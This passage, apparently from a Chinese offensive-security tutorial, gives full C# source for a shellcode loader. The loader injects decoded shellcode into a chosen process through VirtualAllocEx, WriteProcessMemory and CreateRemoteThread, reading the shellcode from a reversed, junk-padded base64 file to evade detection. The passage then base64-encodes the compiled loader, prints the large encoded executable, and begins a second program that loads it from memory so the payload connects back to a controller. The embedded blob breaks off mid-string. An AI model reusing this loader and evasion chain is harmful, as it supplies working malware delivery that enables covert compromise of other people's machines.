[DllImport("kernel32.dll")]        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, pro.ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId);         public static Process PickedProcessInfoByname(string name)        {            Process[] procs = Process.GetProcesses();            string targetname = "";            Process process = null;            foreach (Process proc in procs)            {                try                {                    if (proc.MainModule.FileName.Contains(name) || proc.ProcessName.Contains(name))                    {                        process = proc;                        targetname = proc.ProcessName;                        Console.WriteLine("[+]Name:" + targetname);                        Console.WriteLine("Path:" + proc.MainModule.FileName);                        Console.WriteLine("ID:" + proc.Id);                        Console.WriteLine();                        return process;                    }                }                catch                {                    continue;                }            }            return null;        }        public static void Inject(string processname)        {            byte[] shellcode = GetBase64Shellcode.GetShellcode();            Process process = PickedProcessInfoByname(processname);            if (process == null)            {                Console.WriteLine("[-]没有找到目标进程");                Console.WriteLine("[*]可以尝试去掉后缀,例如calc.exe去掉.exe查询");                return;            }            IntPtr pAddr = VirtualAllocEx(process.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);            WriteProcessMemory(process.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);            IntPtr hThread = CreateRemoteThread(process.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread);        }        public static void run()        {            Inject("1");        }        static void Main(string[] args)        {            run();        }    }}

通过GetBase64Shellcode.GetShellcode()方法读取并且解密base64shellcode.txt里面的加密shellcode。

GetShellcode()

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;using System.Threading.Tasks; namespace shellcodeLoader{    class GetBase64Shellcode    {        public static byte[] GetShellcode()        {            string Path = "base64shellcode.txt";            StreamReader sr = new StreamReader(Path, Encoding.Default);            string content;            string random_re_base64_text = "";            while ((content = sr.ReadLine()) != null)            {                string base_ = content.ToString();                random_re_base64_text += base_;            }            string re_base64_text = random_re_base64_text.Replace("abcdefg", "");            string base64_text = Reversal.ReversalString(re_base64_text);            byte[] shellcode = Convert.FromBase64String(base64_text);            return shellcode;        }    }}


然后我们可以通过远程dump然后内存加载上线。

把loader通过刚才的方法进行base64加密。

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;using System.Threading.Tasks; namespace Tobase64{    class Program    {        static void Main(string[] args)        {            byte[] base64Buff = File.ReadAllBytes("shellcodeLoader.exe");            string base64string = Convert.ToBase64String(base64Buff);            Console.WriteLine(base64string);        }    }}
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UEVOREVEAFBBR0VfR1VBUkQAUEFHRV9OT0NBQ0hFAFBBR0VfV1JJVEVDT01CSU5FAFBBR0VfUkVBRFdSSVRFAFBBR0VfRVhFQ1VURV9SRUFEV1JJVEUAUEFHRV9FWEVDVVRFAE5PUk1BTABOVUxMAFNUQUNLX1NJWkVfUEFSQU1fSVNfQV9SRVNFUlZBVElPTgBTeXN0ZW0uSU8AUEFHRV9OT0FDQ0VTUwBQQUdFX1JFQURPTkxZAFBBR0VfV1JJVEVDT1BZAFBBR0VfRVhFQ1VURV9XUklURUNPUFkAdmFsdWVfXwBtc2NvcmxpYgBnZXRfSWQAbHBUaHJlYWRJZABDcmVhdGVSZW1vdGVUaHJlYWQAUmVwbGFjZQBHZXRCYXNlNjRTaGVsbGNvZGUAR2V0U2hlbGxjb2RlAGdldF9IYW5kbGUAQ29uc29sZQBnZXRfTWFpbk1vZHVsZQBQcm9jZXNzTW9kdWxlAGdldF9GaWxlTmFtZQBnZXRfUHJvY2Vzc05hbWUAcHJvY2Vzc25hbWUAUGlja2VkUHJvY2Vzc0luZm9CeW5hbWUAUmVhZExpbmUAV3JpdGVMaW5lAGZsQWxsb2NhdGlvblR5cGUAUmVsZWFzZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBSZXNlcnZlAHNoZWxsY29kZUxvYWRlci5leGUAZHdTdGFja1NpemUAblNpemUAZHdTaXplAEVuY29kaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcARnJvbUJhc2U2NFN0cmluZwBSZXZlcnNhbFN0cmluZwBUb1N0cmluZwBXcml0ZVdhdGNoAGdldF9MZW5ndGgAUGh5c2ljYWwAUmV2ZXJzYWwAa2VybmVsMzIuZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgBNZW1vcnlQcm90ZWN0aW9uAFJ1bgBUb3BEb3duAFplcm8AcHJvAENoYXIAU3RyZWFtUmVhZGVyAFRleHRSZWFkZXIAc2hlbGxjb2RlTG9hZGVyAGxwQnVmZmVyAGxwUGFyYW1ldGVyAC5jdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMATGFyZ2VQYWdlcwBHZXRQcm9jZXNzZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAFRocmVhZENyZWF0aW9uRmxhZ3MAZHdDcmVhdGlvbkZsYWdzAGFyZ3MAQ29udGFpbnMAZ2V0X0NoYXJzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRBZGRyZXNzAENvbmNhdABPYmplY3QAVGFyZ2V0UHJvY2Vzc0luamVjdABmbFByb3RlY3QAUmVzZXQAQ29tbWl0AERlY29tbWl0AGdldF9EZWZhdWx0AENvbnZlcnQAaW5wdXQAU3lzdGVtLlRleHQAVmlydHVhbEFsbG9jRXgAV3JpdGVQcm9jZXNzTWVtb3J5AAAnYgBhAHMAZQA2ADQAcwBoAGUAbABsAGMAbwBkAGUALgB0AHgAdAAAAQAPYQBiAGMAZABlAGYAZwAAEVsAKwBdAE4AYQBtAGUAOgAAC1AAYQB0AGgAOgAAB0kARAA6AAAXWwAtAF0AoWwJZ35iMFLudgdo248LegE9WwAqAF0A71PlTh1c1Yu7U4ljDlQAfywAi0+CWWMAYQBsAGMALgBlAHgAZQC7U4ljLgBlAHgAZQDlZ+KLAQUxADEAAAdyAHUAbgAAAAAAAwRCykVod0u9NNOa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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

然后通过前面load run方法

using System;using System.Collections.Generic;using System.Linq;using System.Reflection;using System.Text;using System.Threading.Tasks; namespace LoadExe{    class Program    {        static void Main(string[] args)        {            string base64string = @"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AQCoIAAAAACGGBYFBgABALAgAAAAAIYYFgUGAAEAAAAAAIAAliCfBr4BAQAAAAAAgACWIK4GyQEGAAAAAACAAJYgLQHUAQsAuCAAAAAAlgDBAeEBEgB8IQAAAACWAFIGZwATAPghAAAAAJYAvwRwABQABCIAAAAAkQCIBOcBFAALIgAAAACGGBYFBgAVABQiAAAAAJYAGATtARUAUSIAAAAAhhgWBQYAFgAAAAEABwYAAAIAHgYAAAMA3QMAAAQA7AEAAAUAWQYAAAEABwYAAAIAEAYAAAMAAQUAAAQA1wMCAAUAcQQAAAEABwYAAAIAnAUAAAMAywMAAAQAKAYAAAUACgUAAAYAwwUCAAcAIgEAAAEA1AEAAAEAtQEAAAEA0wUAAAEAjQYJABYFAQARABYFBgAZABYFCgApABYFEAAxABYFEAA5ABYFEABBABYFEABJABYFEABRABYFEABZABYFEABhABYFFQBpABYFEABxABYFEAB5ABYFEACJABYFGgCRABYFBgCpABYFBgDBAHkGKAChABYFLQCZACcENADJADcGOADRANkBNADJAEABPgDZAAcERACZABYFBgC5AI8FVwC5AHsBXQDhAJgBNADJANgFYgC5AKUBNADpAOIBZwC5ABsBbADxACcENADpAOIBcAC5AGgBfgD5AMsEggDJADsEbADJAP0FiwABAScENAAIAAgAmQAIAAwAngAIABAAowAIABQAqAAIABgArQAIABwAsgAIACAAtwAIACQAvAAIACgAwQAIACwAxgAJADQAywAJADgA0AAJADwA1QAJAEAA2gAJAEQA3wAJAEgA5AAJAEwA6QAJAFAA7gAJAFQA8wAJAFgA+AAJAFwA/QAJAGQAmQAJAGgA6QAJAGwAAgEnAIMA3wAuAAsA8gEuABMA+wEuABsAGgIuACMAIwIuACsAOAIuADMAOAIuADsAOAIuAEMAIwIuAEsAPgIuAFMAOAIuAFsAOAIuAGMAVgIuAGsAgAIuAHMAjQLDAIsA3wDjAIsA3wADAYsA3wAIAAYABwEgAEoAdACFAFgEQQEJAJ8GAQAAAQsArgYBAAABDQAtAQEABIAAAAEAAAAAAAAAAAAAAAAA8QQAAAQAAAAAAAAAAAAAAJAAEgEAAAAABAAAAAAAAAAAAAAAkABlBAAAAAAGAAMABwADAAgAAwAAAAAAAEludDMyADxNb2R1bGU+AFBBR0VfRVhFQ1VURV9SRUFEAENSRUFURV9TVVNQRU5ERUQAUEFHRV9HVUFSRABQQUdFX05PQ0FDSEUAUEFHRV9XUklURUNPTUJJTkUAUEFHRV9SRUFEV1JJVEUAUEFHRV9FWEVDVVRFX1JFQURXUklURQBQQUdFX0VYRUNVVEUATk9STUFMAE5VTEwAU1RBQ0tfU0laRV9QQVJBTV9JU19BX1JFU0VSVkFUSU9OAFN5c3RlbS5JTwBQQUdFX05PQUNDRVNTAFBBR0VfUkVBRE9OTFkAUEFHRV9XUklURUNPUFkAUEFHRV9FWEVDVVRFX1dSSVRFQ09QWQB2YWx1ZV9fAG1zY29ybGliAGdldF9JZABscFRocmVhZElkAENyZWF0ZVJlbW90ZVRocmVhZABSZXBsYWNlAEdldEJhc2U2NFNoZWxsY29kZQBHZXRTaGVsbG